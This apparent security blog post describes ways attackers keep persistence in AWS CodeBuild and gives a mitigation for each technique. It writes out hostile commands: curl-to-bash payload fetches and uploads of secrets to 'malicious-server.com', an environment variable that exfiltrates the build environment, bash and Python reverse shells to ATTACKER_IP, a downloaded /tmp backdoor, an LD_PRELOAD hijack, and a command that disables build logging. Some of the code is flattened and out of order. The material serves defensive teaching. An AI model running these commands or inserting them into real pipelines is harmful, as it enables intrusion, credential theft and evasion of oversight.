Listen to this Post

Introduction:
Cloud infrastructure, particularly AWS CodeBuild, has become a new battleground for attackers seeking persistent access. By exploiting the trusted nature of CI/CD environments, adversaries can embed backdoors that are difficult to detect, turning automated build processes into long-term footholds. Understanding these techniques is paramount for both offensive security professionals testing defenses and blue teams tasked with protecting cloud assets.
Learning Objectives:
- Understand the mechanics of achieving persistence within AWS CodeBuild environments.
- Learn to identify and mitigate malicious modifications to buildspec.yml files and environment variables.
- Develop monitoring strategies to detect anomalous CodeBuild activity indicative of compromise.
You Should Know:
1. Modifying the Buildspec for Persistence
The `buildspec.yml` file is the blueprint for a CodeBuild project. An attacker with sufficient permissions can modify this file to execute malicious commands during every build.
version: 0.2 phases: install: commands: - echo "Installing dependencies..." - curl -s http://malicious-server.com/payload.sh | bash -s Malicious persistence command build: commands: - echo "Building the project..." Legitimate build commands - make build post_build: commands: - echo "Exfiltrating build artifacts..." - tar -czf /tmp/secrets.tar.gz /path/to/sensitive/files - curl -F 'file=@/tmp/secrets.tar.gz' http://malicious-server.com/upload
Step-by-step guide:
This malicious `buildspec.yml` file injects a persistence payload during the `install` phase by downloading and executing a script from an attacker-controlled server. The `post_build` phase is weaponized to archive and exfiltrate sensitive files from the build environment. To defend against this, implement strict code review processes for buildspec files and restrict outbound network traffic from CodeBuild projects to only necessary endpoints.
2. Backdooring via Environment Variables
AWS CodeBuild allows for the configuration of environment variables, which can be used to store secrets or configuration. Attackers can abuse this to inject commands.
AWS CLI Command to Update a CodeBuild Project:
aws codebuild update-project --name MyProject --environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/amazonlinux2-x86_64-standard:3.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "LD_PRELOAD",
"value": "/codebuild/overlay_override/s.so",
"type": "PLAINTEXT"
},
{
"name": "EVIL_VAR",
"value": "curl http://malicious-server.com/$(env | base64 -w0)",
"type": "PLAINTEXT"
}
]
}'
Step-by-step guide:
This AWS CLI command updates an existing CodeBuild project named MyProject. It adds two malicious environment variables. The `LD_PRELOAD` variable preloads a malicious shared library, hijacking legitimate function calls. The `EVIL_VAR` variable contains a command that will exfiltrate the entire environment (which may include secrets) as a base64-encoded string to a malicious server. Mitigation involves strictly controlling who has `codebuild:UpdateProject` permissions and auditing environment variables for suspicious values.
3. Establishing Reverse Shell from CodeBuild
The most direct form of persistence is a reverse shell, providing interactive access to the build container.
Malicious buildspec.yml snippet:
phases:
build:
commands:
- nohup bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &
- python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Step-by-step guide:
The first command uses `nohup` to run a Bash reverse shell in the background, connecting to the attacker’s IP on port 4444. The second command achieves the same using Python, offering a more robust pseudo-terminal. Because CodeBuild containers are ephemeral, this persistence lasts only for the duration of the build. However, an attacker can trigger builds repeatedly to maintain access. Defenders should use VPC Flow Logs and security groups to block unexpected outbound connections, especially to unknown IP addresses.
4. Persistence via Custom Start-Up Scripts
Attackers can compromise the source code repository itself by adding a start-up script that is executed during the build.
Example Malicious Script (`scripts/setup.sh`):
!/bin/bash Legitimate setup commands npm install pip install -r requirements.txt Malicious persistence payload chmod +x /tmp/.backdoor /tmp/.backdoor & Background execution of a downloaded backdoor wget -q -O /tmp/.backdoor http://malicious-server.com/backdoor-x64
Step-by-step guide:
This script masks malicious activity within legitimate setup commands. It downloads a backdoor binary from a remote server, sets it as executable, and runs it in the background. This method is effective because it blends in with normal build activities. Detection requires monitoring for downloads from untrusted sources and the execution of binaries from temporary directories like /tmp. Implementing allow-listing for executable paths can mitigate this risk.
5. Abusing IAM Role Permissions for Lateral Movement
The IAM role associated with the CodeBuild project is a prime target. An attacker can use its permissions to move laterally within the AWS environment.
AWS CLI Commands for Reconnaissance:
Enumerate the IAM role's permissions aws iam list-attached-role-policies --role-name CodeBuildServiceRole-MyProject aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess --version-id v1 Attempt to access other services aws ec2 describe-instances Check for EC2 access aws s3 ls List S3 buckets aws lambda list-functions Look for Lambda functions to compromise
Step-by-step guide:
These commands are run from within the CodeBuild container. The first two commands enumerate the permissions attached to the CodeBuild service role. The subsequent commands probe other AWS services (EC2, S3, Lambda) to see what access the role has. If the role is over-permissioned, an attacker can use it to launch new malicious resources, extract data from S3, or modify Lambda functions. The principle of least privilege is critical: the CodeBuild role should only have the minimum permissions required to perform its specific build task.
6. Logging Evasion by Disabling CloudWatch
To cover their tracks, attackers may disable logging for the CodeBuild project.
AWS CLI Command to Disable Logging:
aws codebuild update-project --name MyProject --logs-config '{
"cloudWatchLogs": {
"status": "DISABLED"
},
"s3Logs": {
"status": "DISABLED"
}
}'
Step-by-step guide:
This command updates the project’s logging configuration to disable both CloudWatch Logs and S3 logs. Without logs, security teams have no visibility into the commands executed during the build. To prevent this, implement SCPs (Service Control Policies) or IAM permissions boundaries that explicitly deny the ability to modify log settings. Additionally, monitor CloudTrail logs for `UpdateProject` API calls that change logging configurations.
7. Defensive Monitoring with AWS Config and CloudTrail
Proactive defense is key to detecting and responding to these persistence techniques.
AWS CLI Command to Enable AWS Config Recorder:
aws configservice start-configuration-recorder --configuration-recorder-name default
Create a custom rule to monitor CodeBuild project changes
aws configservice put-config-rule --config-rule '{
"ConfigRuleName": "codebuild-project-changes",
"Description": "Monitors changes to CodeBuild projects",
"Scope": {
"ComplianceResourceTypes": [
"AWS::CodeBuild::Project"
]
},
"Source": {
"Owner": "AWS",
"SourceIdentifier": "CODEBUILD_PROJECT_CHANGES"
},
"InputParameters": "{}"
}'
Step-by-step guide:
This setup uses AWS Config to monitor for changes to CodeBuild projects. The first command ensures the Config recorder is running. The second command creates a custom rule that will trigger whenever a CodeBuild project is created, modified, or deleted. This event can be sent to Amazon EventBridge to trigger an automated response, such as notifying security personnel or even rolling back the change. Coupled with CloudTrail, which logs all API activity, this creates a robust detection framework for malicious modifications.
What Undercode Say:
- The Ephemeral Container is a Double-Edged Sword. While CodeBuild containers are short-lived, making traditional persistence difficult, the automation and frequency of builds can be weaponized. An attacker doesn’t need a always-on backdoor; they just need one that activates reliably on a schedule, which is exactly what CI/CD provides.
- Identity is the New Perimeter. The IAM role assigned to the CodeBuild project is the crown jewel. Persistence is less about maintaining a shell and more about maintaining the ability to execute code with a specific set of privileged credentials repeatedly. Defenders must guard IAM roles associated with automation services as fiercely as they guard root accounts.
The techniques outlined by Álvarez Vilchez represent a significant evolution in cloud attack methodology. Attackers are moving beyond simple credential theft to abusing the very automation tools that define modern DevOps. This makes detection exceptionally challenging, as malicious activity is hidden within legitimate, automated processes. The defense requires a paradigm shift from monitoring only for “strange” user behavior to also monitoring for “strange” automated behavior, such as builds downloading external resources or making unexpected network connections. The line between infrastructure management and security monitoring has never been blurrier.
Prediction:
The sophistication of cloud persistence attacks will increase exponentially with the integration of AI. We predict the emergence of AI-powered payloads that can dynamically adapt their behavior based on the specific tools and permissions detected within a build environment. Instead of static scripts, malicious AI agents could analyze the build context in real-time, selectively exfiltrating the most valuable data and avoiding detection by mimicking normal patterns more convincingly. This will necessitate the development of AI-driven defensive monitoring systems capable of conducting behavioral analysis on CI/CD pipelines at scale, turning the cloud security landscape into an AI-versus-AI battleground.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Nick Frichette – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


